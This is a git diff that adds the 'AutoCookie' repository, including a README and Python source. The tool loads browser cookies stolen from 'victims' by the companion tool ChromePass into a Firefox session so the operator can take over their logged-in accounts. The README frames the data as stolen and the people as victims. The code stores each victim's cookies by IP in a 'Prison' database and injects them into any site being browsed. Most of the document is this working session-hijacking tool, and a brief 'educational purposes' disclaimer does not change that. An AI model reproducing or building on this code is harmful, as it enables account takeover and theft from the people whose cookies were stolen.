diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2b97b98 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +.vscode/settings.json + __pycache__/ + *.pyc + *.log + *.db \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..b4ecccb --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Mario Nascimento + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index 016ec53..5a28bba 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,144 @@ -# AutoCookie -Automatically load stolen cookies from ChromePass +

AutoCookie - Automatically loading stolen cookies from ChromePass

+

+ + + Release + + + Build Status on CircleCI + + +
+ + + + + Scrutinizer code quality (GitHub/Bitbucket) + + + +
+ + GitHub issues + + GitHub closed issues + +
+ + + +
+ View Demo + · + Report Bug + · + Request Feature +

+ + + +## Table of Contents + +* [About the Project](#about-the-project) +* [Getting started](#getting-started) + * [Prerequisites](#dependencies-and-requirements) + * [Installation](#installation) +* [Usage](#usage) +* [Errors, Bugs and Feature Requests](#errors-bugs-and-feature-requests) +* [Learn More](#learn-more) +* [License](#license) +--- +## About The project +AutoCookie requires the data stolen using [ChromePass](https://github.com/darkarp/chromepass) or data in the same format. + +It's a python-based console application that starts a browser with the following features: + + - Automatically detects victims who have cookies on the website you're in. + - Automatically loads cookies for the chosen victim on that browser session. + +--- + +## Getting started + +### Dependencies and Requirements + +This is a very simple application, which uses only: + +* [Python] - Tested on python 3.6+ +* [Geckodriver] - Make sure you have firefox downloaded as well + +### Installation + +Autocookie can be used in any operating system but it requires the stolen cookies obtained from [ChromePass](https://github.com/darkarp/chromepass) or the same format of cookies. + +First, make sure you have [Firefox] installed (latest version). The `geckodriver.exe` is already included but if it doesn't work it should be replaced with the latest version: [Geckodriver] + +Clone the repository: +```powershell +git clone https://github.com/darkarp/autocookie +``` + +Install the dependencies: + +```powershell +cd autocookie +pip install -r requirements.txt +``` + +If any errors occur make sure you're running on the proper environment (if applcable) and that you have python 3.6+ +If the errors persist, try: +```powershell +python -m pip install --upgrade pip +python -m pip install -r requirements.txt +``` + +--- + +## Usage + +Chromepass is very straightforward. Start by running: +```powershell +> python autocookie.py +``` +A browser window will show up. Here, you can navigate to any website you want. + +On the terminal window you will be notified whether any victims were found to have cookies for that particular website. + +All you have to do is either select the victim you'd like to load, or skip loading for that website. + +If victims were found for a website and you change the url on the browser, you must skip the prompt on the terminal before it can recognize that the url has changed. + +### Notes +>This is a very early release with just the basic functionality. +`Refactorization` and `support for multiple cookie files from the same ip address`, as well as `command-line parameter-based usage` will be added in the future. + +--- + +## Errors, Bugs and feature requests + +If you find an error or a bug, please report it as an issue. +If you wish to suggest a feature or an improvement please report it in the issue pages. + +Please follow the templates shown when creating the issue. + +--- + +## Learn More + +For access to a community full of aspiring computer security experts, ranging from the complete beginner to the seasoned veteran, +join our Discord Server: [WhiteHat Hacking](https://discord.gg/beczNYP) + +If you wish to contact me, you can do so via: `mario@whitehathacking.tech` + +--- + +## Disclaimer +I am not responsible for what you do with the information and code provided. This is intended for professional or educational purposes only. + +## License + MIT + +[Python]: +[Firefox]: +[Geckodriver]: diff --git a/_modules/__pycache__/classes.cpython-39.pyc b/_modules/__pycache__/classes.cpython-39.pyc new file mode 100644 index 0000000..7d9428e Binary files /dev/null and b/_modules/__pycache__/classes.cpython-39.pyc differ diff --git a/_modules/classes.py b/_modules/classes.py new file mode 100644 index 0000000..bbebb6c --- /dev/null +++ b/_modules/classes.py @@ -0,0 +1,89 @@ +import pickle +import os +from datetime import timezone, datetime + + +class Prison: + def __init__(self, filename="prison.db") -> None: + self.filename = filename + self.victims = self._load_db() or self._create_db() + + def _create_db(self): + with open(self.filename, "wb") as f: + pickle.dump([], f) + return [] + + def _save_db(self): + with open(self.filename, "wb") as f: + pickle.dump(self.victims, f) + + def _load_db(self): + if os.path.exists(self.filename): + with open(self.filename, "rb") as f: + return pickle.load(f) + return False + + def add_victim(self, victim): + if self._is_new_victim(victim): + self.victims.append(victim) + else: + print( + f"[-] Victim {victim.ip} already in data, skipping... (to be implemented)") + + def get_victim(self, ip): + for victim in self.victims: + if victim.ip == ip: + return victim + + def _is_new_victim(self, new_victim): + for victim in self.victims: + if victim.ip == new_victim.ip: + return False + return True + + def from_domains(self, domains): + result = {} + for victim in self.victims: + cookies = victim.cookies.from_domains(domains) + if cookies: + result[victim.ip] = cookies + return result + + +class Cookie: + def __init__(self, name, value, domain) -> None: + self.name = name + self.value = value + self.domain = domain + + def __str__(self) -> str: + return self.domain + + +class CookieJar: + def __init__(self, cookies: list[Cookie]) -> None: + self.cookies = {} + for cookie in cookies: + if cookie.domain not in self.cookies: + self.cookies[cookie.domain] = [] + self.cookies[cookie.domain].append(cookie) + + def from_domains(self, domains: list): + result = [] + for domain in domains: + if domain in self.cookies: + result.append(self.cookies[domain]) + return result + + +class Victim: + def __init__(self, ip_address, date=datetime.now(timezone.utc)) -> None: + self.ip = ip_address + self.cookies = None + self.date = date + + def get_date(self): + return self.date.strftime("%d-%B-%Y (%H:%M:%S)") + + def update_cookies(self, cookie_jar): + self.cookies = cookie_jar diff --git a/autocookie.py b/autocookie.py new file mode 100644 index 0000000..10a7df9 --- /dev/null +++ b/autocookie.py @@ -0,0 +1,145 @@ +import json +import os +import time +import socket +import selenium +import tldextract +from selenium import webdriver +from _modules.classes import Prison, Victim, CookieJar, Cookie + + +def load_cookies(victim, driver: webdriver.Firefox): + for domain in victim: + for cookie in domain: + cookie_obj = { + "name": cookie.name, + "value": cookie.value, + "domain": cookie.domain + } + driver.add_cookie(cookie_obj) + print("[+] Cookies loaded successfully") + + +def get_cookies(prison, directory="data"): + if not os.path.exists(directory): + print( + "[-] No data detected. Please use ChromePass and place the Data folder here.") + print("[i] ChromePass link: https://github.com/darkarp/chromepass") + return False + _, victims, _ = next(os.walk(directory)) + for victim in victims: + with open(f"{directory}/{victim}/cookies0.json") as f: + cookies = json.load(f) + + cookie_list = [] + for (domain, cookiejar) in cookies.items(): + for cookie in cookiejar: + cookie_list.append(Cookie( + cookie["name"], cookie["value"], cookie["domain"])) + cookie_jar = CookieJar(cookie_list) + victim_obj = Victim(victim) + victim_obj.update_cookies(cookie_jar) + prison.add_victim(victim_obj) + prison._save_db() + print("[+] Database updated successfully...") + return True + + +def is_ip(selection): + try: + socket.gethostbyname(selection) + return True + except socket.gaierror: + return False + + +def is_int(number): + try: + int(number) + return True + except ValueError: + return False + + +def victim_verify(victims, selection): + if selection == "s": + return True + elif is_int(selection): + if selection in victims: + return victims[selection] + elif is_ip(selection): + for _, ip in victims.items(): + if ip == selection: + return ip + + return False + + +def show_selection(victims): + print("\nVictim list:") + for (index, ip) in victims.items(): + print(f"{index}: {ip}") + print("\n") + selection = input("Who do you want to load? (number or ip, s to skip): ") + if selection == "s": + return False + return selection + + +def selection_screen(victims, url): + os.system("cls") + if victims: + victim_ips = {str(index): ip for (index, ip) in enumerate(victims)} + print( + f"[+] Found {len(victims)} victim(s) with cookies for the website: {url}") + selection = show_selection(victim_ips) + victim = victim_verify(victim_ips, selection) + while not victim and selection: + print("Couldn't find a record... Try again.") + selection = show_selection(victim_ips) + victim = victim_verify(victim_ips, selection) + + if selection: + print(f"[+] Selection verified for: {victim}") + print(f"[+] Loading Cookies") + return victim + else: + print("[+] Skipping...") + else: + print(f"[-] Found 0 victims for the website: {url}") + return False + + +def run_browser_interactive(database): + + print(f"[+] Loading Browser...") + driver = webdriver.Firefox() + driver.get("https://www.google.com") + added = set() + while True: + url = driver.current_url + domains = [] + subdomain, domain, suffix = tldextract.extract(url) + full_url = f"{subdomain}.{domain}.{suffix}" + if full_url not in added: + added.add(full_url) + domains.append(full_url) + if subdomain: + domains.append(f".{domain}.{suffix}") + victims = database.from_domains(domains) + victim = selection_screen(victims, url) + if victim: + load_cookies(victims[victim], driver) + driver.get(url) + time.sleep(3) + + +def run_browser_url(database, url): + print("[-] To be implemented") + + +if __name__ == "__main__": + print("[!] Warning: This is still a very early stage proof of concept...") + database = Prison() + if get_cookies(database): + run_browser_interactive(database) diff --git a/geckodriver.exe b/geckodriver.exe new file mode 100644 index 0000000..dd2daa9 Binary files /dev/null and b/geckodriver.exe differ diff --git a/geckodriver.log b/geckodriver.log new file mode 100644 index 0000000..84b3b8b --- /dev/null +++ b/geckodriver.log @@ -0,0 +1 @@ +1615653597118 geckodriver INFO Listening on 127.0.0.1:7474 diff --git a/prison.db b/prison.db new file mode 100644 index 0000000..92c3c88 --- /dev/null +++ b/prison.db @@ -0,0 +1 @@ +€]”. \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..5d40b61 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +selenium +tldextract \ No newline at end of file